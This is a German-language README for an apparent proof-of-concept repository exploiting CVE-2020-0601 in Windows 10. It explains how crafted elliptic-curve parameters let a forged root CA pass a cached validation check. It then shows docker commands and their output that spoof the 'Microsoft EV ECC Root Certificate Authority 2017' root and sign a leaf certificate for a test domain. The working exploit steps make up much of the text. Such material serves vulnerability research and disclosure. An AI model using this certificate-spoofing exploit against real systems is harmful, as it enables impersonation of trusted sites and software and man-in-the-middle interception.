
Proof of Concept für CVE-2020-0601
Ein unterhaltsames Proof of Concept, um eine eigene Root-CA und ein signiertes Zertifikat auf Basis der CVE-2020-0601-Sicherheitslücke in Windows 10 zu erstellen. Die Grundlage des Problems ist, dass die Methode CertGetCertificateChain() Root-Zertifizierungsstellen nicht ordnungsgemäß validierte. Da die Suche nach einem Signaturzertifikat im Vertrauensspeicher teuer sein kann, implementierte Microsoft einen Cache, der den öffentlichen Schlüssel des bereitgestellten Root-Zertifikats verwendete, um festzustellen, ob dieses Zertifikat zuvor aus dem Vertrauensspeicher geladen wurde. Bei Zertifikaten mit elliptischen Kurven enthält die SubjectPublicKeyInfo jedoch mehr als nur einen öffentlichen Schlüssel. Zertifikate mit elliptischen Kurven müssen die spezifische elliptische Kurve referenzieren (oder eigene benutzerdefinierte Parameter für die elliptische Kurve bereitstellen). Die Schwachstelle entsteht, weil die Parameter der elliptischen Kurve nicht in die Cache-Abfrage einbezogen werden. Wir können einen vorhandenen öffentlichen Schlüssel nehmen, einen neuen privaten Schlüssel wählen, Kurvenparameter berechnen, die diese Kombination gültig machen, und ein Root-Zertifikat erstellen, das Microsofts zuvor anfällige Cache-Abfrage besteht.
Dieses Repository demonstriert das Spoofing des vertrauenswürdigen Root-Zertifikats „Microsoft EV ECC Root Certificate Authority 2017" und die Verwendung dieser neuen Root-CA zum Signieren eines Blattzertifikats.

docker build -t gringotts .
$ docker run --rm -it -v "$(pwd):/host" -w /host gringotts
Modified generator:
04bb3de13398a18e1c0d1a2d77ae8cbb9ea358d8c5c075eac51e0c408a0367db2ba187f1ab2febd8859d4c12811563fae6056fef803bff43964ca15c63a28cdc1fdfd38dab9fac20e7a8fa1fae619e576ee5706423414a3c3f8c7e1a2d8adc9cd7
Serializing root.txt and self-sign root certificate
Writing ca/root.pem
Serializing root private key
Writing ca/root-key.pem
read EC key
writing EC key
Generating a RSA private key
...............................................+++++
.........................................................................................+++++
writing new private key to 'ssl/server-key.pem'
-----
Using configuration from /usr/lib/ssl/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number:
7c:e6:11:18:1c:5a:14:3e:6f:f0:e2:85:ea:5f:c7:dc:50:a4:b9:b2
Validity
Not Before: Apr 30 00:00:00 2018 GMT
Not After : Aug 1 00:00:00 2020 GMT
Subject:
countryName = GB
stateOrProvinceName = Scotland
localityName = Highlands
organizationName = Gringotts
organizationalUnitName = Hogwarts Castle
commonName = hogwarts.lf.lc
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:hogwarts.lf.lc
Certificate is to be certified until Aug 1 00:00:00 2020 GMT (184 days)
Write out database with 1 new entries
Data Base Updated
$ tree
.
├── ca
│ ├── root-key.pem
│ └── root.pem
└── ssl
├── server-bundle.pem
├── server-key.pem
└── server.pem